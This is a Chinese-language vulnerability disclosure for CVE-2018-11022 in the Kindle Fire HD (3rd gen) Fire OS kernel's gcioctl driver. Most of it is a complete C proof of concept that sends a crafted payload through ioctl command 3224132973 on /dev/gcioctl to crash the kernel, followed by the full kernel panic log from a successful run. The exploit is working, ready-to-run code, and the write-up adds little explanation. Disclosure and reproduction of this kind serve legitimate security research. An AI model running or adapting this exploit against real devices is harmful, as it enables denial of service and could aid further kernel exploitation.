（CVE-2018-11022）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

一、漏洞简介

mazon Kindle Fire HD（3rd）Fire OS 4.5.5.3的内核组件中的内核模块/omap/drivers/misc/gcx/gcioctl/gcif.c允许攻击者通过设备/ dev上ioctl的参数注入特制参数/ gcioctl使用命令3224132973，并导致内核崩溃。

二、漏洞影响

Fire OS 4.5.5.3

三、复现过程

poc

/*
 * This is poc of Kindle Fire HD 3rd
 * A bug in the ioctl interface of device file /dev/gcioctl causes the system crash via IOCTL 3224132973.
 * Related buggy struct name is gcicommit.
 * This Poc should run with permission to do ioctl on /dev/gcioctl.
 *
 * The fowllwing is kmsg of kernel crash infomation:
 *
 *
 */
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/gcioctl";
static command = 3224132973; 

int main(int argc, char **argv, char **env) {
    unsigned int payload[] = {
    0x00002020,
    0x00000002,
    0x00000002,
    0xeddad33f,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0xf16c7d8e,
    0x96489dd1,
    0x678a12ff,
    0x69812204,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141
    };

        int fd = 0;
        fd = open(driver, O_RDWR);
        if (fd < 0) {
            printf("Failed to open %s, with errno %d\n", driver, errno);
            system("echo 1 > /data/local/tmp/log");
            return -1;
        }
        
        printf("Try open %s with command 0x%x.\n", driver, command);
        printf("System will crash and reboot.\n");
        if(ioctl(fd, command, &payload) < 0) {
            printf("Allocation of structs failed, %d\n", errno);
            system("echo 2 > /data/local/tmp/log");
            return -1;
        }
        close(fd);
        return 0;
}

崩溃日志

[  381.205780] Unable to handle kernel NULL pointer dereference at virtual address 00000004
[  381.215637] pgd = c30e4000
[  381.219085] [00000004] *pgd=97437831, *pte=00000000, *ppte=00000000
[  381.227355] Internal error: Oops: 817 [#1] PREEMPT SMP ARM
[  381.233520] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[  381.241302] CPU: 0    Tainted: G           O  (3.4.83-gd2afc0bae69 #1)
[  381.248596] PC is at free_buffer+0x4c/0x13c
[  381.253479] LR is at down_timeout+0x40/0x5c
[  381.258209] pc : [<c031716c>]    lr : [<c006e9b8>]    psr: a0000013
[  381.258209] sp : de943e58  ip : de943e38  fp : de943e6c
[  381.271179] r10: 00000000  r9 : dd3e8ca8  r8 : c25e6598
[  381.277160] r7 : eddad327  r6 : de942000  r5 : c0a25b50  r4 : c25e6580
[  381.284454] r3 : 00000000  r2 : c0a25b64  r1 : c0a25b64  r0 : 00000000
[  381.291870] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  381.299804] Control: 10c5387d  Table: 830e404a  DAC: 00000015
[  381.306335] 
[  381.306365] PC: 0xc03170ec:
[  381.311340] 70ec  e1a00001 e34c2091 e3a01a01 e30531e8 e34c306e ebfd3650 e89da800 e1a0c00d
[  381.321868] 710c  e92dd800 e24cb004 ebffced4 e3a00000 e89da800 e1a0c00d e92dd830 e24cb004
[  381.332550] 712c  e1a04000 e3020710 e59f510c ebf4dd18 e1a01000 e1a00005 ebf55e0b e3500000
[  381.343078] 714c  1a000023 e5943000 e1540003 0a000008 e1a02005 e5940004 e5b21014 e5853014
[  381.353759] 716c  e5832004 e5801000 e5810004 e5844000 e5844004 e59f00c0 ebf55d9f e3020710
[  381.364440] 718c  e59f50b4 ebf4dd02 e1a01000 e285001c ebf55df5 e3500000 1a00001a e594201c
[  381.375122] 71ac  e1a03005 e594c018 e2841018 e285001c e58c2004 e582c000 e5b32030 e5851030
[  381.385681] 71cc  e5821004 e5842018 e584301c ebf55d8a e89da830 e1a03000 e3a02068 e59f105c
[  381.396331] 
[  381.396362] LR: 0xc006e938:
[  381.401306] e938  e1a01000 0a000007 e3a05000 e2433001 e5843008 e1a00004 eb18d7ad e1a00005
[  381.411987] e958  e24bd014 e89da830 e1a00004 e50b1018 eb18d135 e51b1018 e1a05000 eafffff4
[  381.422668] e978  e1a0c00d e92dd878 e24cb004 e1a04000 e1a05001 eb18d91b e5943008 e3530000
[  381.433288] e998  e1a06000 0a000007 e3a05000 e2433001 e5843008 e1a00004 e1a01006 eb18d794
[  381.443817] e9b8  e1a00005 e89da878 e1a01005 e1a00004 eb18d158 e1a05000 eafffff5 e1a0c00d
[  381.454498] e9d8  e92dd800 e24cb004 e5903000 e1a0c000 e3530000 0a00000b e5910008 e5932008
[  381.465179] e9f8  e1500002 da000003 ea000006 e5932008 e1520000 ba000003 e283c004 e5933004
[  381.475830] ea18  e3530000 1afffff8 e5813004 f57ff05f e3a00000 e58c1000 e89da800 e1a0c00d
[  381.486358] 
[  381.486358] SP: 0xde943dd8:
[  381.491455] 3dd8  de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[  381.501983] 3df8  de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[  381.512664] 3e18  c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[  381.523315] 3e38  00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[  381.533996] 3e58  00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[  381.544525] 3e78  be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[  381.555206] 3e98  de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[  381.565734] 3eb8  41414141 41414141 41414141 41414141 41414141 d7b96700 de943efc de943ee0
[  381.576293] 
[  381.576293] IP: 0xde943db8:
[  381.581390] 3db8  de943dd4 de943dc8 c00795b4 c00792bc de943e0c de943dd8 c0070df8 c00795ac
[  381.592071] 3dd8  de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[  381.602630] 3df8  de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[  381.613311] 3e18  c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[  381.623870] 3e38  00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[  381.634399] 3e58  00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[  381.645080] 3e78  be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[  381.655761] 3e98  de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[  381.666442] 
[  381.666442] FP: 0xde943dec:
[  381.671417] 3dec  c031716c a0000013 ffffffff de943e44 c25e6598 de943e6c de943e10 c06a5318
[  381.681976] 3e0c  c0008370 00000000 c0a25b64 c0a25b64 00000000 c25e6580 c0a25b50 de942000
[  381.692535] 3e2c  eddad327 c25e6598 dd3e8ca8 00000000 de943e6c de943e38 de943e58 c006e9b8
[  381.703216] 3e4c  c031716c a0000013 ffffffff 00000000 be8075c8 de943f04 de943e70 c0317704
[  381.713867] 3e6c  c031712c 00000001 00000028 be8075c8 de943ea0 de943e98 de943e90 c0207454
[  381.724548] 3e8c  c00bd920 de943e90 de943e90 de943e98 de943e98 00000000 00000002 00000002
[  381.735076] 3eac  eddad33f 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[  381.745758] 3ecc  d7b96700 de943efc de943ee0 c02089fc 00000000 d74f9540 00000004 d74f9540
[  381.756408] 
[  381.756408] R1: 0xc0a25ae4:
[  381.761383] 5ae4  00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[  381.772064] 5b04  00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[  381.782714] 5b24  00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[  381.793273] 5b44  3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[  381.803955] 5b64  00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[  381.814605] 5b84  c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[  381.825286] 5ba4  00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[  381.835815] 5bc4  c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[  381.846496] 
[  381.846496] R2: 0xc0a25ae4:
[  381.851470] 5ae4  00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[  381.862152] 5b04  00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[  381.872802] 5b24  00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[  381.883453] 5b44  3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[  381.893981] 5b64  00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[  381.904663] 5b84  c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[  381.915344] 5ba4  00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[  381.925872] 5bc4  c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[  381.936523] 
[  381.936523] R4: 0xc25e6500:
[  381.941619] 6500  00000002 00000000 d7a55550 00000000 00000000 00000000 c2410c00 000008a8
[  381.952148] 6520  c0a10a88 00000000 c16281fc 00000000 00000000 00000000 00000000 000003e8
[  381.962829] 6540  c25e6000 00000093 00000000 00000000 00000000 00000000 00000000 00000000
[  381.973480] 6560  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  381.984008] 6580  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  381.994689] 65a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.005340] 65c0  00000000 00000028 00000000 00000000 00000000 00000000 00000000 00000000
[  382.016021] 65e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.026519] 
[  382.026519] R5: 0xc0a25ad0:
[  382.031616] 5ad0  00010105 01010005 01040901 00040001 ffff0101 00000000 00000000 00040b03
[  382.042175] 5af0  01040101 ffff0100 00000000 00000000 0000ffff 00000000 0e0c0000 01010005
[  382.052856] 5b10  01000105 0000ffff 00000000 0e0c0000 01010005 00000105 01040901 00040001
[  382.063507] 5b30  ffff0101 00000000 00000000 00040b03 01040101 3f3f0100 00010001 01000001
[  382.074157] 5b50  00000000 00000000 00000000 c0a25b5c c0a25b5c 00000000 c0a25b64 00000000
[  382.084716] 5b70  00000000 00000001 c0a25b78 c0a25b78 c0a25b80 c0a25b80 00000000 00000000
[  382.095245] 5b90  00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c 00000000 00000000 00000001
[  382.105926] 5bb0  c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0 c0a25bc0 c0a25bc8 c0a25bc8
[  382.116577] 
[  382.116577] R6: 0xde941f80:
[  382.121551] 1f80  de917b80 c00635cc 00000013 de84190c de917b80 c00635cc 00000013 00000000
[  382.132202] 1fa0  00000000 00000000 de941ff4 de941fb8 c0068af4 c00635d8 00000000 00000000
[  382.142730] 1fc0  de917b80 00000000 00000000 00000000 de941fd0 de941fd0 00000000 de84190c
[  382.153259] 1fe0  c0068a64 c004cd64 00000000 de941ff8 c004cd64 c0068a70 00000000 00000000
[  382.163940] 2000  00000000 00000002 00000000 dd0bd7c0 c0a0e840 00000000 00000015 c2de6540
[  382.174621] 2020  00000000 de942000 c09ddc50 dd0bd7c0 de83d300 c1617b40 de943ba4 de943af0
[  382.185150] 2040  c06a36e4 00000000 00000000 00000000 00000000 00000000 01000000 00000000
[  382.195800] 2060  01c454c0 5ebfe27f 00000000 00000000 00000000 00000000 00000000 00000000
[  382.206451] 
[  382.206451] R7: 0xeddad2a7:
[  382.211425] d2a4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.222106] d2c4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.232788] d2e4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.243316] d304  ******** ******** ******** ******** ******** ******** ******** ********
[  382.253997] d324  ******** ******** ******** ******** ******** ******** ******** ********
[  382.264678] d344  ******** ******** ******** ******** ******** ******** ******** ********
[  382.275238] d364  ******** ******** ******** ******** ******** ******** ******** ********
[  382.286071] d384  ******** ******** ******** ******** ******** ******** ******** ********
[  382.296752] d3a4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.307434] 
[  382.307434] R8: 0xc25e6518:
[  382.312408] 6518  c2410c00 000008a8 c0a10a88 00000000 c16281fc 00000000 00000000 00000000
[  382.323059] 6538  00000000 000003e8 c25e6000 00000093 00000000 00000000 00000000 00000000
[  382.333587] 6558  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.344268] 6578  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.354919] 6598  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.365600] 65b8  00000000 00000000 00000000 00000028 00000000 00000000 00000000 00000000
[  382.376129] 65d8  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.386779] 65f8  00000000 00000000 00000093 00000093 0000004d 00000002 00000000 00000000
[  382.397308] 
[  382.397338] R9: 0xdd3e8c28:
[  382.402282] 8c28  dd3e8c28 dd3e8c28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[  382.412933] 8c48  00000000 00000000 dd3e8c50 dd3e8c50 00000000 c0aa5174 c0aa5174 c0aa5148
[  382.423614] 8c68  5aefce7f 00000000 00000000 00000000 dd3e8c80 00000000 00000000 00000000
[  382.434112] 8c88  00200000 00000000 00000000 dd3e8c94 dd3e8c94 dd3d2380 dd3d2380 00000000
[  382.444793] 8ca8  000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd154400
[  382.455322] 8cc8  dd3e8d80 dd35ce70 00001064 00000001 0fb00000 5aefce7f 2cb41780 5aefce7f
[  382.466003] 8ce8  2cb41780 5aefce7f 2cb41780 00000000 00000000 00000000 00000000 00000000
[  382.476531] 8d08  00000000 00000000 00000000 00000000 00000001 00000000 00000000 dd3e8d24
[  382.487182] Process gcioctl_poc_2 (pid: 4073, stack limit = 0xde9422f8)
[  382.494689] Stack: (0xde943e58 to 0xde944000)
[  382.499603] 3e40:                                                       00000000 be8075c8
[  382.508819] 3e60: de943f04 de943e70 c0317704 c031712c 00000001 00000028 be8075c8 de943ea0
[  382.517913] 3e80: de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90 de943e98 de943e98
[  382.527130] 3ea0: 00000000 00000002 00000002 eddad33f 41414141 41414141 41414141 41414141
[  382.536346] 3ec0: 41414141 41414141 41414141 d7b96700 de943efc de943ee0 c02089fc 00000000
[  382.545562] 3ee0: d74f9540 00000004 d74f9540 be8075c8 dd3e8ca8 00000000 de943f74 de943f08
[  382.554656] 3f00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[  382.563873] 3f20: dcf8c770 de943f0c de942000 be807638 be8075c8 c02c5d6d d74f9540 00000004
[  382.573120] 3f40: de942000 00000000 de943f64 00000000 be8075c8 c02c5d6d d74f9540 00000004
[  382.582183] 3f60: de942000 00000000 de943fa4 de943f78 c01365e0 c0135fc4 00000000 00000000
[  382.591430] 3f80: 00000400 be807638 00010e64 00000000 00000036 c0013e08 00000000 de943fa8
[  382.600646] 3fa0: c0013c60 c0136578 be807638 00010e64 00000004 c02c5d6d be8075c8 be8075c8
[  382.609863] 3fc0: be807638 00010e64 00000000 00000036 00000000 00000000 00000000 be807624
[  382.618927] 3fe0: 00000000 be8075ac 000106a0 0002918c 60000010 00000004 00000000 00000000
[  382.628143] Backtrace: 
[  382.631164] [<c0317120>] (free_buffer+0x0/0x13c) from [<c0317704>] (dev_ioctl+0x2c8/0x10c4)
[  382.640563]  r5:be8075c8 r4:00000000
[  382.644958] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[  382.654388] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[  382.663604] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[  382.673004]  r8:c0013e08 r7:00000036 r6:00000000 r5:00010e64 r4:be807638
[  382.681304] Code: e1a02005 e5940004 e5b21014 e5853014 (e5832004) 
[  382.697326] Board Information: 
[  382.697357]  Revision : 0001
[  382.697357]  Serial	: 0000000000000000
[  382.697387] SoC Information:
[  382.697387]  CPU	: OMAP4470
[  382.697418]  Rev	: ES1.0
[  382.697418]  Type	: HS
[  382.697418]  Production ID: 0002B975-000000CC
[  382.697448]  Die ID	: 1CC60000-50002FFF-0B00935D-11007004
[  382.697448] 
[  382.733703] ---[ end trace 58e760c9cd2996a9 ]---
[  382.739074] Kernel panic - not syncing: Fatal exception
[  382.744964] CPU1: stopping
[  382.748229] Backtrace: 
[  382.751251] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[  382.760742]  r6:c09ddc50 r5:c09dc844 r4:00000001 r3:c0a0e950
[  382.767761] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[  382.777008] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[  382.786499] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5380>] (__irq_svc+0x40/0x70)
[  382.795684] Exception stack(0xde885e98 to 0xde885ee0)
[  382.801483] 5e80:                                                       de885ee0 0000d120
[  382.810577] 5ea0: 1ce88a9c 00000059 1cc00792 00000059 c161e498 00000000 c09ece64 de960480
[  382.819793] 5ec0: c0ad01c8 de885f0c 0000017e de885ee0 c008e350 c0431ae0 600f0013 ffffffff
[  382.829010]  r6:ffffffff r5:600f0013 r4:c0431ae0 r3:c008e350
[  382.836029] [<c0431a90>] (cpuidle_wrap_enter+0x0/0x9c) from [<c04310c0>] (cpuidle_enter_tk+0x18/0x1c)
[  382.846374]  r7:00000000 r6:c161e498 r5:c161e498 r4:de96048c
[  382.853515] [<c04310a8>] (cpuidle_enter_tk+0x0/0x1c) from [<c04315dc>] (cpuidle_enter_state+0x1c/0x78)
[  382.863983] [<c04315c0>] (cpuidle_enter_state+0x0/0x78) from [<c04334b8>] (cpuidle_enter_state_coupled+0x13c/0x36c)
[  382.875518]  r6:de884000 r5:c161e498 r4:de96048c r3:00000000
[  382.882659] [<c043337c>] (cpuidle_enter_state_coupled+0x0/0x36c) from [<c043176c>] (cpuidle_idle_call+0x134/0x31c)
[  382.894256] [<c0431638>] (cpuidle_idle_call+0x0/0x31c) from [<c0015294>] (cpu_idle+0xa4/0x10c)
[  382.903961] [<c00151f0>] (cpu_idle+0x0/0x10c) from [<c0695650>] (secondary_start_kernel+0x118/0x13c)
[  382.914093] [<c0695538>] (secondary_start_kernel+0x0/0x13c) from [<80694ff4>] (0x80694ff4)
[  382.923400]  r6:10c0387d r5:00000015 r4:9e84c06a r3:c0694fdc
[  382.930603] CPU0 PC (0) : 0xc003ee38
[  382.934661] CPU0 PC (1) : 0xc003ee54
[  382.938720] CPU0 PC (2) : 0xc003ee54
[  382.942901] CPU0 PC (3) : 0xc003ee54
[  382.946960] CPU0 PC (4) : 0xc003ee54
[  382.951019] CPU0 PC (5) : 0xc003ee54
[  382.955200] CPU0 PC (6) : 0xc003ee54
[  382.959259] CPU0 PC (7) : 0xc003ee54
[  382.963317] CPU0 PC (8) : 0xc003ee54
[  382.967376] CPU0 PC (9) : 0xc003ee54
[  382.971557] CPU1 PC (0) : 0xc0019b2c
[  382.975616] CPU1 PC (1) : 0xc0019b2c
[  382.979675] CPU1 PC (2) : 0xc0019b2c
[  382.983856] CPU1 PC (3) : 0xc0019b2c
[  382.987915] CPU1 PC (4) : 0xc0019b2c
[  382.991973] CPU1 PC (5) : 0xc0019b2c
[  382.996154] CPU1 PC (6) : 0xc0019b2c
[  383.000213] CPU1 PC (7) : 0xc0019b2c
[  383.004272] CPU1 PC (8) : 0xc0019b2c
[  383.008453] CPU1 PC (9) : 0xc0019b2c
[  383.012512] 
[  383.014312] Restarting Linux version 3.4.83-gd2afc0bae69 (build@14-use1a-b-39) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[  383.014312]